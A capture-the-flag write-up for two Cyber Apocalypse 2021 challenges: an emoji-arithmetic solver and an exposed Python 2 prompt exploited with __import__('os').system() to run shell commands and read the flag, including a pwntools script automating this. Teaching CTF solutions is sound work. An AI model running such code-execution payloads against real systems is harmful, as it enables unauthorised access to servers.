# Cyber Apocalypse 2021

This was a fantastic CTF! The learning curve was just incredible. I played with team fr344aks and we were able to solve 25/62 challenges and ranked 196/4514 teams.
I was able to solve only two challenges both being in the Miscellaneous category.

### **First Challenge: Alien Camp**

You're given an IP and Port, in this case, i was given `139.59.176.252:30923`.
When you nc into it, you get this:

➜ aliencamp_COMPLETE nc 139.59.176.252 30923
Alien camp 👾

1. ❓
2. Take test!
>

When you select option one, you get ten emojis each having a value attached.

> 1
Here is a little help:

🌞 -> 90 🍨 -> 17 ❌ -> 17 🍪 -> 84 🔥 -> 73 ⛔ -> 25 🍧 -> 28 👺 -> 47 👾 -> 22 🦄 -> 69

1. ❓
2. Take test!
>

This was interesting. And if you select option one again, you get a different set of values, but the same emojis.

> 1
Here is a little help:

🌞 -> 95 🍨 -> 49 ❌ -> 65 🍪 -> 53 🔥 -> 20 ⛔ -> 60 🍧 -> 22 👺 -> 80 👾 -> 19 🦄 -> 95

1. ❓
2. Take test!
>

I didn't understand what this was until i selected option 2.

> 2

You must answer 500 questions. You have only a few seconds for each question! Be fast! ⏰

Question 1:

🍧 * 🦄 + 🍨 - 🍧 = ?

Answer:

Time: 2.87
Too slow! 🐌

If you take more than, let's say 1.5 seconds to answer the question, it says **Too slow!** and exits the program.

> 2

You must answer 500 questions. You have only a few seconds for each question! Be fast! ⏰

Question 1:

🌞 * 👾 * 👾 + 🌞 + 👾 = ?

Answer: 10

Time: 0.73
Wrong answer! 😿
The correct answer was: 513575

And if you submit the wrong answer, it just says **Wrong answer!**, gives you the right answer and then exits the program. Okay, so ideally, we have to automate this process. There's no way you'll evaluate all those emojis with their values and submit in less than a second plus, who'll do 500 math questions at a go xD.
So for one, we can interact with the program over netcat using the pwn library. Secondly, we can use the eval function in python to evaluate a set of strings like (10 + 15 + 30) which is 55.
I ended up making a simple python script that grabs the emojis and their values at the beginning of the program, and then takes the test, grabs the question for each attempt, replaces the emojis with their values, evaluates and then submits that and does the same thing over and over until it does it 500 times. Sounds fun!

#!/usr/bin/env python3
# @author: mug3njutsu

from pwn import *

host = '139.59.176.252'
port = 30923

r = remote(host, port)
r.recvuntil("> ")
r.sendline("1")

content = r.recv().decode().split("\n")[2] + r.recv().decode().split("\n")[0]
emoticons = content.split(" ")
first,second,third,fourth,fifth,sixth,seventh,eighth,ninth,tenth = emoticons[0],emoticons[3],emoticons[6],emoticons[9],emoticons[12],emoticons[15],emoticons[18],emoticons[21],emoticons[24], emoticons[27]
vfirst,vsecond,vthird,vfourth,vfifth,vsixth,vseventh,veighth,vninth,vtenth = emoticons[2],emoticons[5],emoticons[8],emoticons[11],emoticons[14],emoticons[17],emoticons[20],emoticons[23],emoticons[26],emoticons[29]

r.sendline("2")
out = r.recv().decode()
print(out)

c = 0
while c < 500:
question = out.split("\n")[5].split("=")[0].replace(first, vfirst).replace(second, vsecond).replace(third, vthird).replace(fourth, vfourth).replace(fifth ,vfifth).replace(sixth, vsixth).replace(seventh, vseventh).replace(eighth, veighth).replace(ninth, vninth).replace(tenth, vtenth)
r.sendline(str(eval(question)))
out = r.recv().decode()
print(out)
c += 1

When you run this, after the 500th attempt, it'll give you the flag.

Question 500:

🍧 + ⛔ * 🌞 + 👾 = ?

Answer:

Time: 0.18
Correct! ✔
Congratulations! 🎉
You are one of us now! 😎!
Here is a 🎁 for you: CHTB{3v3n_4l13n5_u53_3m0j15_t0_c0mmun1c4t3}

1. ❓
2. Take test!
>

That was a pretty cool challenge.

### **Second Challenge: Input as a Service**

We're given an IP and Port, in this case, i had `138.68.147.93:31831`.
When you nc into it, you get this:

➜  input-as-service_COMPLETE nc 138.68.147.93 31831                  
2.7.18 (default, Apr 20 2020, 19:51:05) 
[GCC 9.2.0]
Do you sound like an alien?
>>>

You notice it's running python2 in interactive mode.
The first thing i did was checked to see if i can run commands using a simple oneliner by importing the os library.

>>> 
__import__('os').system('whoami')
root

Seems we're root. Checking the files in the current directory, i get this:

>>> 
__import__('os').system('ls')
flag.txt
input_as_a_service.py

There's flag.txt and the source code of this program. I can cat the contents of flag.txt since i have code execution.

__import__('os').system('cat flag.txt')
CHTB{4li3n5_us3_pyth0n2.X?!}

And there's the flag. Easy enough. I also made a get flag script.

#!/usr/bin/env python3
# @author: mug3njutsu

from pwn import *

host = '138.68.147.93'
port = 31831

s = remote(host, port)
s.recvuntil('>>> \n')
s.sendline('__import__("os").system("ls")')
print(s.recv().decode().strip())
s.sendline('__import__("os").system("cat flag.txt")')
print(s.recv().decode().strip())

➜  input-as-service_COMPLETE python3 ape.py  
[+] Opening connection to 138.68.147.93 on port 31831: Done
flag.txt
input_as_a_service.py
CHTB{4li3n5_us3_pyth0n2.X?!}


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}

.alert-success mark {
background-color: #b9e990 !important;
}

.alert-info mark {
background-color: #b1d6ff !important;
}

/* scroll bar */
.ui-edit-area .ui-resizable-handle.ui-resizable-e {
background-color: #303030;
border: 1px solid #303030;
box-shadow: none;
}

/* info bar */
.ui-infobar {
color: #999;
}

/* permission */
.permission-popover-btn-group .btn.focus,
.permission-popover-btn-group .btn:active,
.permission-popover-btn-group .btn:focus,
.permission-popover-btn-group .btn.active {
background-color: #6a6a6a !important;
color: #eee !important;
border-color: #555 !important;
}

.permission-popover-btn-group .btn:hover,
.permission-popover-btn-group .btn.active:hover {
background-color: #7d7d7d !important;
color: #eee !important;
border-color: #636363 !important;
}

.ui-delete-note:hover,
.ui-delete-note:focus,
.ui-delete-note:active {
background-color: #dc3545 !important;
}

.ui-invitee-invite {
border-color: #8e8e8e !important;
}

.ui-invitee-invite:hover,
.ui-invitee-invite:focus {
background-color: #737373;
color: #eee !important;
}

.ui-no-invitee-label {
color: #ccc !important;
}

.select2-container {
background: #202020;
}

.select2-container-multi .select2-choices .select2-search-field input {
color: #eee;
}

.select2-container-multi .select2-choices .select2-search-field input.select2-active {
color: #000;
}

.select2-drop {
background: #202020;
color: #eee;
}

.select2-results .select2-no-results,
.select2-results .select2-searching,
.select2-results .select2-ajax-error,
.select2-results .select2-selection-limit {
background: #202020;
}

/* table of contents block*/
.ui-toc-dropdown {
width: 42vw;
max-height: 90vh;
overflow: auto;
text-align: inherit;
}

/* table of contents text*/
.ui-toc-dropdown .nav>li>a {
font-size: 14px;
font-weight: bold;
color: #ddd;
}

/* table of contents text: active*/
.ui-toc-dropdown .nav>.active:focus>a,
.ui-toc-dropdown .nav>.active:hover>a,
.ui-toc-dropdown .nav>.active>a {
color: #7bf;
border-left-color: #7bf;
}

/* table of contents text: focus, hover*/
.ui-toc-dropdown .nav>li>a:focus,
.ui-toc-dropdown .nav>li>a:hover {
color: #7bf;
border-left-color: #7bf;
}

/* drop down floating table of contents */
.ui-toc-dropdown.dropdown-menu {
background: #333;
}

.toc-menu a {
color: #ddd;
}

.toc-menu a:focus,
.toc-menu a:hover {
color: #7bf;
}

/*--------------- editor ---------------*/
.cm-m-markdown {
color: #ddd;
}

.cm-s-one-dark .cm-header,
.cm-m-xml.cm-attribute {
color: #ffa653;
}

.cm-m-markdown.cm-variable-3 {
color: #ff7e7e;
}

.cm-s-one-dark .cm-string,
.cm-s-one-dark .cm-variable-2,
.cm-s-one-dark .cm-m-markdown.cm-url{
color: #7bf;
}

.cm-s-one-dark .cm-m-markdown.cm-link {
color: #b0ee83;
}

.cm-s-one-dark .CodeMirror-linenumber {
color: #666;
}

.cm-strong {
color: #f4511e;
}

.cm-s-one-dark .cm-comment {
color: #a9a9a9;
}

.cm-matchhighlight {
color: #ffea00;
}

.cm-positive {
color: #11bf64;
}

.cm-negative {
color: #ff3e3e;
}

.dropdown-menu.CodeMirror-other-cursor {
border: 2px solid #4d4d4d;
background-color: #202020;
}

.dropdown-menu.CodeMirror-other-cursor li a {
color: #ececec;
}

/*--------------- book mode ---------------*/
.topbar {
background: #1e1e1e;
}

.btn.focus,
.btn:focus,
.btn:hover {
color: #fff;
background-color: #333;
}

.summary {
background: #1e1e1e;
}

.summary,
.toolbar {
background: #1e1e1e !important;
border-color: #4d4d4d !important;
}

.toolbar i {
color: #fff;
}

.summary h1,
.summary h2,
.summary h3 .summary hr {
color: #ddd;
border-color: #777 !important;
}

.summary .nav>li>a {
color: #7bf;
}

.summary .nav-pills>li.active>a,
.summary .nav-pills>li.active>a:focus,
.summary .nav-pills>li.active>a:hover {
color: #ff9100;
}

.ui-summary-search {
font-size: 16px;
border: 1px solid #6D6D6D;
background-color: #333;
color: #FFF;
}

.summary h1,
.summary h2,
.summary h3,
.summary h4,
.summary h5,
.summary h6 {
border-color: #454545;
}

/* fix body background color to dark */
div[class$=container-mask] {
background: #1e1e1e;
z-index: 1;
display: block;
}

/* notification */
.dropdown.ui-notification .ui-notification-label,
.dropdown.ui-invitee .ui-invitee-label {
color: #eee;
border-color: #6a6a6a;
}

.ui-notification .dropdown-menu {
border-top: 1px solid #555;
}

/*--------------- help ---------------*/
.modal-header {
background-color: #2a2a2a;
}

.panel-default {
border-color: #6d6d6d;
}

.panel-default>.panel-heading {
background-color: #2a2a2a;
color: #eee;
border-color: #6d6d6d;
}

.panel-body {
background: #2e2e2e;
}

.panel-body a {
color: #7bf;
}

.table>tbody>tr>td,
.table>tbody>tr>th,
.table>tfoot>tr>td,
.table>tfoot>tr>th,
.table>thead>tr>td,
.table>thead>tr>th {
border-color: #6d6d6d;
}

/*--------------- comment ---------------*/
.ui-comment-container .ui-comment-header {
background-color: #2a2a2a;
color: #eee;
border-color: #6d6d6d;
}

.ui-comment-container {
background-color: #2e2e2e;
border-color: #6d6d6d;
}

.ui-comment-container .ui-comments-container .ui-comment .comment-author {
color: #eee;
}

.ui-comment-container .ui-comments-container .ui-comment .timestamp {
color: #aaa;
}

.ui-comment-container .ui-comments-container .ui-comment .comment-content {
color: #eee;
}

.ui-comment-container .ui-comments-container .ui-comment .comment-menu {
color: #eee;
}

.ui-comment-container .ui-comments-container .ui-comment .comment-menu .comment-dropdown-menu {
background: #222;
color: #eee;
border-color: #555;
}

.ui-comment-container .ui-comments-container .ui-comment .comment-menu .comment-dropdown-menu>div:hover {
background-color: #555555;
color: #eee;
}

.ui-comment-container .ui-comments-container .ui-comment .comment-menu:hover,
.ui-comment-container .ui-comments-container .ui-comment .comment-menu:active,
.ui-comment-container .ui-comments-container .ui-comment .comment-menu.active {
background-color: #737373;
color: #eee;
}

.ui-comment-container .ui-comment-input-container {
background-color: #3c3c3c;
}

.ui-comment-container textarea {
background-color: #3e4045;
color: #eee;
border: 1px solid #6d6d6d;
}

.ui-comment-container textarea::placeholder,
.ui-comment-container textarea::-webkit-input-placeholder,
.ui-comment-container textarea:-moz-placeholder,
.ui-comment-container textarea::-moz-placeholder,
.ui-comment-container textarea:-ms-input-placeholder {
color: #eee;
}

@keyframes highlight {
0% {
background-color: #3c3c3c;
}

30% {
background-color: #3c3c3c;
}

100% {
background-color: transparent;
}
}

/*--------------- template ---------------*/
.template-content .modal-header {
background: #2a2a2a;
}

.template-content .close {
color: #fff;
}

.template-content .modal-title {
color: #eee;
}

.template-content .ui-templates-container {
border-color: #6d6d6d;
}

.ui-templates-container .ui-create-template-btn {
background: #446fab;
color: #fff;
}

.ui-template-list-filter .ui-template-list-filter-label,
.ui-template-list-filter .ui-template-list-filter-label:hover {
color: #eee;
}

.ui-template-list .list-group-item.active {
background: #4d4d4d;
}

.ui-template-list .list-group-item.active:focus {
background: #4d4d4d !important;
}

.list-group-item.active,
.list-group-item.active:focus,
.list-group-item.active:hover {
color: #eee;
}

.ui-template-list .list-group-item .list-group-item-heading {
color: #eee;
}

.ui-template-list .list-group-item.active .list-group-item-heading {
color: #eee;
}

.ui-template-list .list-group-item:hover {
background: #4d4d4d !important;
}

.ui-template-item-menu {
color: #eee !important;
}

.ui-template-list .list-group-item {
color: #fff;
}

.ui-template-list .list-group-item .dropdown-container.open {
background-color: #2a2a2a;
}

.ui-template-list .list-group-item .dropdown-container:hover {
background-color: #2a2a2a !important;
}

.template-menu .more-template {
border-color: #6d6d6d;
}

.template-menu .more-template:hover {
color: #eee;
border-color: #6d6d6d;
}

/*--------------- code mirror ---------------*/
.modal-content {
background: #1f2226;
}

.modal-header {
border-bottom: 1px solid #46484f;
}

.modal-footer {
border-top: 1px solid #46484f;
}

a.list-group-item {
background: #1f2226;
color: #ddd;
border: 1px solid #46484f;
}

a.list-group-item .list-group-item-heading {
color: #ddd;
}

a.list-group-item:focus,
a.list-group-item:hover {
background: #434651;
color: #ddd;
}

button.close {
color: #ddd;
opacity: .5;
}

.close:focus,
.close:hover {
color: #fff;
opacity: .8;
}

.CodeMirror {
background: #1f2226;
}

.CodeMirror-gutters {
background: #1f2226;
border-right: 1px solid rgba(204, 217, 255, 0.1);
}

.cm-s-default .cm-comment {
color: #888;
}

.cm-s-default .cm-quote {
color: #ddd;
}

.cm-s-default .cm-header {
color: #ffa653;
}

.cm-s-default .cm-link {
color: #b0ee83;
}

.cm-s-default .cm-string,
.cm-s-default .cm-variable-2 {
color: #7bf;
}

.cm-s-default .cm-def {
color: #c678dd;
}

.cm-s-default .cm-number,
.cm-s-default .cm-attribute,
.cm-s-default .cm-qualifier,
.cm-s-default .cm-plus,
.cm-s-default .cm-atom {
color: #eda35e;
}

.cm-s-default .cm-property,
.cm-s-default .cm-variable,
.cm-s-default .cm-variable-3,
.cm-s-default .cm-operator,
.cm-s-default .cm-bracket {
color: #f76e79;
}

.cm-s-default .cm-keyword,
.cm-s-default .cm-builtin,
.cm-s-default .cm-tag {
color: #98c379;
}

.modal-title {
color: #ccc;
}

.modal-body {
color: #ccc !important;
}

div[contenteditable]:empty:not(:focus):before {
color: #aaa;
}

.CodeMirror pre {
color: #ddd;
}

.CodeMirror pre span[style^="background-color: rgb(221, 251, 230)"] {
background-color: #288c27 !important;
}

.CodeMirror pre span[style^="background-color: rgb(249, 215, 220)"] {
background-color: #a52721 !important;
}

/*------- code highlight: Visual Stutdio Code theme for highlight.js -------*/
.hljs {
background: #1E1E1E;
color: #DCDCDC;
}

.hljs-keyword,
.hljs-literal,
.hljs-symbol,
.hljs-name {
color: #569CD6;
}

.hljs-link {
color: #569CD6;
text-decoration: underline;
}

.hljs-built_in,
.hljs-type {
color: #4EC9B0;
}

.hljs-number,
.hljs-class {
color: #B8D7A3;
}

.hljs-string,
.hljs-meta-string {
color: #D69D85;
}

.hljs-regexp,
.hljs-template-tag {
color: #d16969;
}

.hljs-title {
color: #dcdcaa;
}

.hljs-subst,
.hljs-function,
.hljs-formula {
color: #DCDCDC;
}

.hljs-comment,
.hljs-quote {
color: #57A64A;
}

.hljs-doctag {
color: #608B4E;
}

.hljs-meta,
.hljs-meta-keyword,
.hljs-tag {
color: #9B9B9B;
}

.hljs-variable,
.hljs-template-variable {
color: #BD63C5;
}

.hljs-params,
.hljs-attr,
.hljs-attribute,
.hljs-builtin-name {
color: #9CDCFE;
}

.hljs-section {
color: gold;
}

.hljs-emphasis {
font-style: italic;
}

.hljs-strong {
font-weight: bold;
}

/*
.hljs-code {
font-family:'Monospace';
}
*/

.hljs-bullet,
.hljs-selector-tag,
.hljs-selector-id,
.hljs-selector-class,
.hljs-selector-attr,
.hljs-selector-pseudo {
color: #D7BA7D;
}

.hljs-addition {
background-color: #155a36;
color: #dfdfdf;
display: inline-block;
width: 100%;
}

.hljs-deletion {
background-color: #872e2e;
color: #dfdfdf;
display: inline-block;
width: 100%;
}

/*---------- code highlight: Visual Stutdio Code theme for Prism.js ----------*/
code[class*="language-"],
pre[class*="language-"] {
color: #DCDCDC;
}

:not(pre)>code[class*="language-"],
pre[class*="language-"] {
background: #1E1E1E;
}

.token.comment,
.token.block-comment,
.token.prolog,
.token.cdata {
color: #57A64A;
}

.token.doctype,
.token.punctuation {
color: #9B9B9B;
}

.token.tag,
.token.entity {
color: #569CD6;
}

.token.attr-name,
.token.namespace,
.token.deleted,
.token.property,
.token.builtin {
color: #9CDCFE;
}

.token.function,
.token.function-name {
color: #dcdcaa;
}

.token.boolean,
.token.keyword,
.token.important {
color: #569CD6;
}

.token.number {
color: #B8D7A3;
}

.token.class-name,
.token.constant {
color: #4EC9B0;
}

.token.symbol {
color: #f8c555;
}

.token.rule {
color: #c586c0;
}

.token.selector {
color: #D7BA7D;
}

.token.atrule {
color: #cc99cd;
}

.token.string,
.token.attr-value {
color: #D69D85;
}

.token.char {
color: #7ec699;
}

.token.variable {
color: #BD63C5;
}

.token.regex {
color: #d16969;
}

.token.operator {
color: #DCDCDC;
background: transparent;
}

.token.url {
color: #67cdcc;
}

.token.important,
.token.bold {
font-weight: bold;
}

.token.italic {
font-style: italic;
}

.token.entity {
cursor: help;
}

.token.inserted {
color: green;
}

/*---------- code highlight: dark theme for Gist ----------*/
.gist .gist-file {
border: 1px solid #555;
}

.gist .gist-data {
background-color: #1e1e1e;
border-bottom: 1px solid #555;
}

.gist .gist-meta {
background-color: #424a55;
color: #eee;
}

.gist .gist-meta a {
color: #eee;
}

.gist .highlight {
color: #eee;
background-color: #1e1e1e;
}

.gist .blob-num {
color: #afafaf;
}

.gist .blob-code-inner {
color: #dfdfdf;
}

.pl-mb {
color: #fff !important;
}

.pl-c {
color: #57A64A !important;
}

/* comment */
.pl-ent {
color: #569CD6 !important;
}

/* entity */
.pl-e {
color: #9CDCFE !important;
}

.pl-en {
color: #4EC9B0 !important;
}

/* entity attribute */
.pl-smi {
color: #9CDCFE !important;
}

.pl-k {
color: #569cd6 !important;
}

.pl-c1,
.pl-s .pl-v {
color: #4EC9B0 !important;
}

.pl-pds,
.pl-s,
.pl-s .pl-pse .pl-s1,
.pl-sr,
.pl-sr .pl-cce,
.pl-sr .pl-sra,
.pl-sr .pl-sre,
.pl-s .pl-s1 {
color: #D69D85 !important;
}

.pl-s .pl-s1 .pl-pse {
color: #c5dbff !important;
}

/* strings */
.diff-table .pl-c,
.diff-table .pl-ent,
.diff-table .pl-e,
.diff-table .pl-en,
.diff-table .pl-pds,
.diff-table .pl-s,
.diff-table .pl-s .pl-s1,
.diff-table .pl-s .pl-pse .pl-s1,
.diff-table .pl-sr,
.diff-table .pl-sr .pl-cce,
.diff-table .pl-sr .pl-sra,
.diff-table .pl-sr .pl-sre,
.diff-table .pl-k,
.diff-table .pl-smi,
.diff-table .pl-c1,
.diff-table .pl-v {
color: #eee !important;
}

</style>